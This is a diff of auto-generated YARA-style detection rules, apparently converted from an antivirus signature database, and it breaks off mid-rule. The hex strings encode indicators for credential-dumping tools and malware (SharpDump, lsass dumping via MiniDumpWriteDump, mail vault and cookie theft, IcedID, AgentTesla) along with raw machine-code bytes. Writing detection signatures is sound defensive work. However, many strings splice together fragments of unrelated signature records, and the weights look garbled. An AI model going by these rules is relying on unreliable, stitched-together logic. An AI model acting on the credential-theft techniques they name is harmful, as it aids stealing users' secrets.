01 00 34 81 01 64 65 63 69 6d 61 6c 74 61 62 75 6c 65 72 65 74 20 6f 72 64 64 65 6c 69 6e 67 73 73 74 72 65 67 20 61 6c 6c 65 72 67 69 66 72 65 6d 6b 61 6c 64 65 6e 64 65 01 00 0a 81 01 68 69 67 68 74 73 2e 65 78 65 01 00 12 81 01 61 6c 6c 6c 75 65 72 20 62 72 61 6d 73 74 6e 67 65 72 01 } //385 + $a_01_4 = {66 61 6b 74 75 72 61 6b 6f 70 69 65 72 6e 65 20 73 70 69 6e 64 6c 69 6e 65 73 73 20 72 65 63 6f 6d 6d 69 73 73 69 6f 6e 69 6e 67 00 00 78 e9 00 00 06 00 06 00 09 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 61 72 70 44 75 6d 70 00 02 00 09 80 01 53 68 61 72 70 44 75 6d 70 01 00 11 80 01 4d 69 6e 69 44 75 6d 70 57 72 69 74 65 44 75 6d 70 01 00 05 80 01 6c 73 } //11008 + $a_01_5 = {00 2c 80 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 0b 80 01 50 72 6f 64 75 63 74 4e 61 6d 65 01 00 15 80 01 7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 7b 31 7d 2e 6f 75 74 01 00 15 80 01 7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 7b 31 7d 2e 62 69 } //29537 + condition: + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26400+(#a_75_2 & 1)*385+(#a_65_3 & 1)*385+(#a_01_4 & 1)*11008+(#a_01_5 & 1)*29537) >=6 + +} +rule _InfrastructureShared_16332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -177598,7 +189458,7 @@ rule _InfrastructureShared_15328{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26979+(#a_65_2 & 1)*26988+(#a_66_3 & 1)*21249+(#a_62_4 & 1)*384+(#a_74_5 & 1)*30052) >=6 } -rule _InfrastructureShared_15329{ +rule _InfrastructureShared_16333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -177616,7 +189476,7 @@ rule _InfrastructureShared_15329{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*28499+(#a_69_2 & 1)*11901+(#a_00_3 & 1)*28015+(#a_6e_4 & 1)*25345+(#a_57_5 & 1)*-32756+(#a_73_6 & 1)*26990+(#a_52_7 & 1)*22356+(#a_39_8 & 1)*12869) >=6 } -rule _InfrastructureShared_15330{ +rule _InfrastructureShared_16334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -177634,7 +189494,7 @@ rule _InfrastructureShared_15330{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*17153+(#a_65_3 & 1)*25902+(#a_61_4 & 1)*29550+(#a_53_5 & 1)*2560+(#a_72_6 & 1)*25970+(#a_31_7 & 1)*25912+(#a_00_8 & 1)*14646+(#a_73_9 & 1)*385) >=6 } -rule _InfrastructureShared_15331{ +rule _InfrastructureShared_16335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -177648,7 +189508,7 @@ rule _InfrastructureShared_15331{ ((#a_63_0 & 1)*16931+(#a_65_1 & 1)*28528+(#a_72_2 & 1)*25970+(#a_31_3 & 1)*25912+(#a_00_4 & 1)*14646) >=7 } -rule _InfrastructureShared_15332{ +rule _InfrastructureShared_16336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -177658,29 +189518,45 @@ rule _InfrastructureShared_15332{ $a_00_2 = {0e } //29795 $a_72_3 = {61 74 65 49 6e 73 74 61 6e 63 65 00 00 78 e9 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 51 31 32 33 21 4d 54 42 00 01 00 1e 81 01 53 6f 66 74 77 } //385 $a_5c_4 = {65 76 69 76 69 73 63 65 6e 63 65 5c 6c 69 6e 67 65 72 69 65 01 00 1d 81 01 23 5c 72 65 73 74 6c 61 67 65 72 65 74 5c 6b 72 65 64 69 74 69 76 65 72 73 2e 6f 72 61 01 00 14 81 01 23 5c 73 65 6d 69 6d 6f 6e 73 74 65 72 5c 4b 75 6c 69 6c 69 01 00 16 81 01 5c 74 72 69 74 6f 6e 65 72 73 5c 68 65 6d 69 70 70 } //29281 - $a_69_5 = {01 00 11 81 01 73 6b 61 6e 6b 73 5c 62 61 67 68 61 76 65 6e 73 5c 01 00 14 81 01 74 72 61 6e 66 64 20 70 61 77 6e 62 72 6f 6b 65 72 61 67 65 01 00 12 81 01 41 72 76 69 6e 4d 65 72 69 74 6f 72 2c 20 49 6e 63 2e 00 00 78 e9 00 00 08 00 08 00 09 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 } //11877 - $a_32_6 = {53 68 61 72 70 44 75 6d 70 00 02 00 09 80 01 53 68 61 72 70 44 75 6d 70 01 00 11 80 01 4d 69 6e 69 44 75 6d 70 57 72 69 74 65 44 75 6d 70 01 00 05 80 01 } //28265 + $a_69_5 = {01 00 11 81 01 73 6b 61 6e 6b 73 5c 62 61 67 68 61 76 65 6e 73 5c 01 00 14 81 01 74 72 61 6e 66 64 20 70 61 77 6e 62 72 6f 6b 65 72 61 67 65 01 00 12 81 01 41 72 76 69 6e 4d 65 72 69 74 6f 72 2c 20 49 6e 63 2e 00 00 78 e9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 } //11877 + $a_2f_6 = {75 4c 6f 61 64 65 72 2e 53 54 5a 21 4d 54 42 00 01 00 0c 81 01 5c 61 72 74 68 72 65 63 74 6f 6d 79 01 00 0f 81 01 5c 4c 75 70 69 6e 69 6e 31 36 37 2e } //13166 condition: - ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*31095+(#a_00_2 & 1)*29795+(#a_72_3 & 1)*385+(#a_5c_4 & 1)*29281+(#a_69_5 & 1)*11877+(#a_32_6 & 1)*28265) >=7 + ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*31095+(#a_00_2 & 1)*29795+(#a_72_3 & 1)*385+(#a_5c_4 & 1)*29281+(#a_69_5 & 1)*11877+(#a_2f_6 & 1)*13166) >=7 } -rule _InfrastructureShared_15333{ +rule _InfrastructureShared_16337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 51 31 32 33 21 4d 54 42 00 01 00 1e 81 01 53 6f 66 74 77 61 72 65 5c 72 65 76 69 76 69 73 63 65 6e 63 65 5c 6c 69 6e 67 65 72 69 65 01 00 1d 81 01 23 5c 72 65 73 74 6c 61 67 65 72 65 74 5c 6b } //18467 $a_69_1 = {69 76 65 72 73 2e 6f 72 61 01 00 14 81 01 23 5c 73 65 6d 69 6d 6f 6e 73 74 65 72 5c 4b 75 6c 69 6c 69 01 00 16 81 01 5c 74 72 69 74 6f 6e 65 72 73 5c 68 65 6d 69 70 70 65 2e 62 69 6c 01 00 11 81 01 73 6b 61 6e 6b 73 5c 62 61 67 68 61 76 65 6e 73 5c 01 00 14 81 01 74 72 61 6e 66 64 20 70 61 77 6e 62 } //25970 - $a_65_2 = {61 67 65 01 00 12 81 01 41 72 76 69 6e 4d 65 72 69 74 6f 72 2c 20 49 6e 63 2e 00 00 78 e9 00 00 08 00 08 00 09 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 61 72 70 44 75 6d 70 00 02 00 09 80 01 53 68 61 72 70 44 75 6d 70 01 00 11 80 01 4d 69 6e 69 44 75 6d 70 57 72 69 74 65 44 75 6d 70 01 00 } //28530 - $a_6c_3 = {61 } //-32763 a - $a_00_4 = {2c } //29555 , - $a_6f_5 = {74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 0b 80 01 50 72 6f 64 75 63 74 4e 61 6d 65 01 00 15 80 01 7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 7b 31 7d 2e 6f 75 74 } //384 - $a_80_6 = {7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 7b 31 7d 2e 62 69 6e } //{0}\Temp\debug{1}.bin 1 + $a_65_2 = {61 67 65 01 00 12 81 01 41 72 76 69 6e 4d 65 72 69 74 6f 72 2c 20 49 6e 63 2e 00 00 78 e9 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 5a 21 4d 54 42 00 01 00 0c 81 01 5c 61 72 74 68 72 65 63 74 6f 6d 79 01 00 0f 81 01 5c 4c 75 70 69 6e 69 6e 31 36 } //28530 + $a_69_3 = {01 00 12 81 01 50 6f 6c 79 6d 69 63 72 69 61 6e 32 33 34 2e 74 78 74 01 00 10 81 01 67 65 6e 65 72 65 6c 6c 69 74 65 74 2e 74 78 74 01 00 0f 81 01 5c 4b 75 6c 65 64 65 73 31 31 30 2e 65 78 65 01 00 12 81 01 5c 54 72 6f 75 62 6c 65 73 68 6f 6f 74 73 2e 67 69 66 01 00 17 81 01 5c 6a 61 62 62 65 } //11831 + $a_63_4 = {79 5c 69 6e 64 66 6c 74 2e 69 6e 69 01 00 1f 81 01 5c 68 75 6c 6b 6f 72 74 73 6f 70 65 72 61 74 72 65 6e 5c 62 61 70 74 69 7a 65 64 2e 68 74 6d 00 00 78 e9 00 00 08 00 08 00 09 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 61 72 70 44 75 6d 70 00 02 00 09 80 01 53 68 61 72 70 44 75 6d 70 01 00 11 80 01 4d } //30578 + $a_44_5 = {6d 70 57 72 69 74 65 44 75 6d 70 01 00 05 80 01 6c 73 61 73 73 01 00 2c 80 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 0b 80 01 50 72 6f 64 75 63 74 4e 61 6d 65 01 00 15 80 01 7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 } //28265 + $a_2e_6 = {75 74 01 00 15 80 01 7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 7b 31 7d 2e 62 69 6e 01 00 0b 80 01 64 62 67 68 65 6c 70 2e 64 6c 6c 01 00 0a 80 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 e9 00 00 09 00 09 00 09 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 20 01 43 6f 6e 66 69 67 75 72 61 65 73 64 65 42 6c 6f 71 75 65 61 64 6f 72 } //12667 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25970+(#a_65_2 & 1)*28530+(#a_6c_3 & 1)*-32763+(#a_00_4 & 1)*29555+(#a_6f_5 & 1)*384+(#a_80_6 & 1)*1) >=7 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25970+(#a_65_2 & 1)*28530+(#a_69_3 & 1)*11831+(#a_63_4 & 1)*30578+(#a_44_5 & 1)*28265+(#a_2e_6 & 1)*12667) >=7 } -rule _InfrastructureShared_15334{ +rule _InfrastructureShared_16338{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 5a 21 4d 54 42 00 01 00 0c 81 01 5c 61 72 74 68 72 65 63 74 6f 6d 79 01 00 0f 81 01 5c 4c 75 70 69 6e 69 6e 31 36 37 2e 62 69 6e 01 00 12 81 01 50 6f 6c 79 6d 69 63 72 69 61 } //18467 + $a_34_1 = {74 78 74 01 00 10 81 01 67 65 6e 65 72 65 6c 6c 69 74 65 74 2e 74 78 74 01 00 0f 81 01 5c 4b 75 6c 65 64 65 73 31 31 30 2e 65 78 65 01 00 12 81 01 5c 54 } //12910 + $a_62_2 = {65 73 68 6f 6f 74 73 2e 67 69 66 01 00 17 81 01 5c 6a 61 62 62 65 72 77 6f 63 6b 79 5c 69 6e 64 66 6c 74 2e 69 6e 69 01 00 1f 81 01 5c 68 75 6c 6b 6f 72 74 73 6f 70 65 72 61 74 72 65 6e 5c 62 61 70 74 69 7a 65 64 2e 68 74 6d 00 00 78 e9 00 00 08 00 08 00 09 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 61 72 70 44 75 6d 70 } //28530 + $a_68_4 = {72 70 44 75 6d 70 01 00 11 80 01 4d 69 6e 69 44 75 6d 70 57 72 69 74 65 44 75 6d 70 01 00 05 80 01 6c 73 61 73 73 01 00 2c 80 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 } //384 + $a_6e_5 = {00 0b 80 01 50 72 6f 64 75 63 74 4e 61 6d 65 01 00 15 80 01 7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 7b 31 7d 2e 6f 75 74 01 00 15 80 01 7b 30 7d 5c 54 65 6d 70 5c 64 65 62 75 67 7b 31 7d 2e 62 69 6e 01 00 0b 80 01 64 62 67 68 65 6c 70 2e 64 6c 6c 01 00 0a 80 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 e9 00 00 09 00 09 00 09 00 21 } //26995 + $a_5f_6 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 20 01 43 6f 6e 66 69 67 75 72 61 65 73 64 65 42 6c 6f 71 75 65 61 64 6f 72 64 65 50 6f 70 75 70 73 32 01 00 14 01 4f 70 65 73 64 61 49 6e 74 65 72 6e 65 74 31 43 6c 69 63 6b 01 00 17 01 53 6f 62 72 65 6f 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 32 01 00 0f } //25635 + $a_61_7 = {6c 73 65 6e 6f 74 63 69 61 73 32 01 00 12 01 43 68 61 6d 61 64 61 6e 61 49 6e 74 65 72 6e 65 74 32 01 00 10 01 42 61 72 72 61 64 6f 45 78 70 6c 6f 72 65 72 32 01 00 0e 01 57 69 6e 64 6f 77 73 75 70 64 61 74 65 32 01 00 11 01 57 69 6e 64 6f 77 73 6d 65 73 73 65 6e 67 65 72 32 01 00 07 01 47 6f 6f 67 6c 65 32 00 00 78 e9 00 00 } //17665 + condition: + ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*12910+(#a_62_2 & 1)*28530+(#a_68_4 & 1)*384+(#a_6e_5 & 1)*26995+(#a_5f_6 & 1)*25635+(#a_61_7 & 1)*17665) >=8 + +} +rule _InfrastructureShared_16339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -177692,12 +189568,12 @@ rule _InfrastructureShared_15334{ $a_32_4 = {00 0e 01 57 69 6e 64 6f 77 73 75 70 64 61 74 65 32 01 00 11 01 57 69 6e 64 6f 77 73 6d 65 73 73 65 6e 67 65 72 32 01 00 07 01 47 6f 6f 67 6c 65 32 00 00 78 e9 00 00 09 00 09 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 52 48 31 37 30 36 5f 31 21 54 45 4c 00 01 00 09 01 25 41 50 50 44 41 54 } //25970 $a_00_5 = {11 } //9537 $a_6c_6 = {65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 08 01 25 57 49 4e 44 49 52 25 01 00 06 01 25 54 45 4d 50 25 01 00 05 01 41 6c 6c 6f 63 01 00 16 01 6b 65 72 6e 65 6c 33 32 3a 3a 43 72 65 61 74 65 46 69 6c 65 28 74 01 00 1f 03 6b 65 72 6e 65 6c 33 32 3a 3a 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 28 90 02 2f 29 90 00 01 00 19 } //17409 - $a_72_7 = {65 6c 33 32 3a 3a 52 65 61 64 46 69 6c 65 28 90 02 2f 29 90 00 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 01 00 0a 01 65 78 70 65 6c 6c 69 6e 67 2e 00 00 78 e9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 38 30 36 32 32 21 4d } //27395 + $a_72_7 = {65 6c 33 32 3a 3a 52 65 61 64 46 69 6c 65 28 90 02 2f 29 90 00 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 01 00 0a 01 65 78 70 65 6c 6c 69 6e 67 2e 00 00 78 e9 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 64 4a 6f 6b 65 2e 53 58 21 4d 54 42 00 05 00 46 01 8b 85 } //27395 condition: ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28499+(#a_69_2 & 1)*11901+(#a_70_3 & 1)*20581+(#a_32_4 & 1)*25970+(#a_00_5 & 1)*9537+(#a_6c_6 & 1)*17409+(#a_72_7 & 1)*27395) >=8 } -rule _InfrastructureShared_15335{ +rule _InfrastructureShared_16340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -177706,16 +189582,16 @@ rule _InfrastructureShared_15335{ $a_61_1 = {6c 73 65 6e 6f 74 63 69 61 73 32 01 00 12 01 43 68 61 6d 61 64 61 6e 61 49 6e 74 65 72 6e 65 74 32 01 00 10 01 42 61 72 72 61 64 6f 45 78 70 6c 6f 72 65 72 32 01 00 0e 01 57 69 6e 64 6f 77 73 75 70 64 61 74 65 32 01 00 11 01 57 69 6e 64 6f 77 73 6d 65 73 73 65 6e 67 65 72 32 01 00 07 01 47 6f 6f 67 6c 65 32 00 00 78 e9 00 00 } //17665 $a_00_2 = {0a 00 21 23 48 53 54 52 3a } //9 $a_6a_3 = {6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 52 48 31 37 30 36 5f 31 21 54 45 4c 00 01 00 09 01 25 41 50 50 44 41 54 41 25 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 08 01 25 57 49 4e 44 49 52 25 01 00 06 01 25 54 45 4d 50 25 01 00 05 01 41 6c 6c 6f 63 01 00 16 01 6b 65 72 6e 65 6c 33 32 3a 3a 43 72 } //29268 - $a_65_4 = {69 6c 65 28 74 01 00 1f 03 6b 65 72 6e 65 6c 33 32 3a 3a 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 28 90 02 2f 29 90 00 01 00 19 03 6b 65 72 6e 65 6c 33 32 3a 3a 52 65 61 64 46 69 6c 65 28 90 02 2f 29 90 00 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 01 00 0a 01 65 78 70 65 6c 6c 69 6e 67 2e 00 00 78 e9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a } //24933 - $a_6a_5 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 38 30 36 32 32 21 4d 54 42 00 05 00 24 01 61 32 35 36 30 65 66 38 2d 62 37 64 66 2d 34 37 61 65 2d 61 66 39 37 2d 34 39 35 34 37 35 31 66 64 32 33 32 01 00 20 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 44 42 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 72 69 6e 67 01 00 13 01 } //29268 - $a_75_6 = {67 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 22 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 } //25924 - $a_00_7 = {00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 34 34 21 4d 54 42 00 01 00 25 81 01 24 38 39 30 38 33 64 61 66 2d 33 66 34 30 2d 34 66 66 65 2d 38 65 62 63 2d 66 62 30 33 61 35 61 34 63 37 34 39 01 00 0b 81 01 47 65 74 45 6e 63 6f 64 69 6e 67 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 0c 01 04 06 25 17 58 0a 04 08 25 17 58 0c 01 00 11 01 03 25 2d 06 26 73 61 00 00 0a 28 73 00 00 06 26 2a 00 } //30720 - $a_00_8 = {00 0b 00 0b 00 0c 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 49 63 65 64 69 64 2e 47 41 21 4d 54 42 00 01 00 12 80 01 66 69 78 65 64 5f 6c 6f 61 64 65 72 36 34 2e 64 6c 6c 01 00 0a 80 01 6d 61 69 6c 5f 76 61 75 6c 74 01 00 06 80 01 69 65 5f 72 65 67 01 00 07 80 01 6f 75 74 6c 6f 6f 6b 01 00 08 80 01 75 73 65 72 5f 6e 75 6d 01 00 04 80 01 63 72 65 64 01 00 14 80 01 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3a 20 42 61 73 69 63 01 00 0e 80 01 56 61 75 6c 74 4f 70 65 6e 56 61 75 6c 74 01 00 0c 80 01 73 71 6c 69 74 65 33 5f 66 72 65 65 01 00 0a 80 01 63 6f 6f 6b 69 65 2e 74 61 72 01 00 11 80 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 04 80 01 50 54 30 53 00 } //30720 + $a_65_4 = {69 6c 65 28 74 01 00 1f 03 6b 65 72 6e 65 6c 33 32 3a 3a 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 28 90 02 2f 29 90 00 01 00 19 03 6b 65 72 6e 65 6c 33 32 3a 3a 52 65 61 64 46 69 6c 65 28 90 02 2f 29 90 00 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 01 00 0a 01 65 78 70 65 6c 6c 69 6e 67 2e 00 00 78 e9 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 } //24933 + $a_61_5 = {3a 57 69 6e 36 34 2f 42 61 64 4a 6f 6b 65 2e 53 58 21 4d 54 42 00 05 00 46 01 8b 85 14 01 00 00 ff c0 89 85 14 01 00 00 8b 45 44 0f af 45 64 39 85 14 01 00 00 7d 29 48 63 85 14 01 00 00 48 8b 8d d8 00 00 00 8b 04 81 05 68 01 00 00 48 63 8d 14 01 00 00 48 8b 95 d8 00 00 00 89 04 8a eb ba 03 00 2f 03 48 8d 85 e4 01 00 } //28530 + $a_44_6 = {28 c7 44 24 20 06 00 00 00 45 33 c9 45 33 c0 33 d2 b9 45 01 00 c0 ff 95 90 01 05 b9 ff ff ff ff ff 15 90 00 02 00 3e 03 45 33 c9 41 b8 03 00 00 00 ba 00 00 00 10 48 8d 0d 90 01 04 ff 15 90 01 04 48 89 45 28 48 c7 44 24 20 00 00 00 00 4c 8d 4d 04 41 b8 00 80 00 00 48 8d 15 90 01 04 48 8b 4d 28 ff 15 90 00 00 00 78 e9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //18432 + $a_73_7 = {61 2e 53 4d 32 38 30 36 32 32 21 4d 54 42 00 05 00 24 01 61 32 35 36 30 65 66 38 2d 62 37 64 66 2d 34 37 61 65 2d 61 66 39 37 2d 34 39 35 34 37 35 31 66 64 32 33 32 01 00 20 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 44 42 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 72 69 6e 67 01 00 13 01 44 65 62 75 67 67 } //21620 + $a_65_8 = {74 74 72 69 62 75 74 65 01 00 22 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 78 e9 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 } //25185 condition: - ((#a_5f_0 & 1)*25635+(#a_61_1 & 1)*17665+(#a_00_2 & 1)*9+(#a_6a_3 & 1)*29268+(#a_65_4 & 1)*24933+(#a_6a_5 & 1)*29268+(#a_75_6 & 1)*25924+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720) >=9 + ((#a_5f_0 & 1)*25635+(#a_61_1 & 1)*17665+(#a_00_2 & 1)*9+(#a_6a_3 & 1)*29268+(#a_65_4 & 1)*24933+(#a_61_5 & 1)*28530+(#a_44_6 & 1)*18432+(#a_73_7 & 1)*21620+(#a_65_8 & 1)*25185) >=9 } -rule _InfrastructureShared_15336{ +rule _InfrastructureShared_16341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -177723,18 +189599,28 @@ rule _InfrastructureShared_15336{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 52 48 31 37 30 36 5f 31 21 54 45 4c 00 01 00 09 01 25 41 50 50 44 41 54 41 25 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 08 01 25 57 49 4e 44 49 52 25 01 } //18467 $a_25_1 = {45 } //1536 E $a_01_2 = {00 05 01 41 6c 6c 6f 63 01 00 16 01 6b 65 72 6e 65 6c 33 32 3a 3a 43 72 65 61 74 65 46 69 6c 65 28 74 01 00 1f } //20557 - $a_72_3 = {65 6c 33 32 3a 3a 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 28 90 02 2f 29 90 00 01 00 19 03 6b 65 72 6e 65 6c 33 32 3a 3a 52 65 61 64 46 69 6c 65 28 90 02 2f 29 90 00 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 01 00 0a 01 65 78 70 65 6c 6c 69 6e 67 2e 00 00 78 e9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 } //27395 - $a_72_4 = {6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 38 30 36 32 32 21 4d 54 42 00 05 00 24 01 61 32 35 36 30 65 66 38 2d 62 37 64 66 2d 34 37 61 65 2d 61 66 39 37 2d 34 39 35 34 37 35 31 66 64 32 33 32 01 00 20 01 43 6c 61 73 73 43 6f } //14930 - $a_6e_5 = {6f 6e 44 42 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 72 69 6e 67 01 00 13 01 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 22 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 } //28781 - $a_65_6 = {5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 78 e9 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 34 34 21 4d 54 42 00 01 00 25 81 01 24 38 39 30 38 33 64 61 66 2d 33 66 34 30 2d 34 66 66 65 } //28257 - $a_62_7 = {2d 66 62 30 33 61 35 61 34 63 37 34 39 01 00 0b 81 01 47 65 74 45 6e 63 6f 64 69 6e 67 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 06 } //14381 - $a_6e_8 = {6f 6b 65 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 0c 01 04 06 25 17 58 0a 04 08 25 17 58 0c 01 00 11 01 03 25 2d 06 26 73 61 00 00 0a 28 73 00 00 06 26 2a 00 00 78 e9 00 00 0b 00 0b 00 0c 00 21 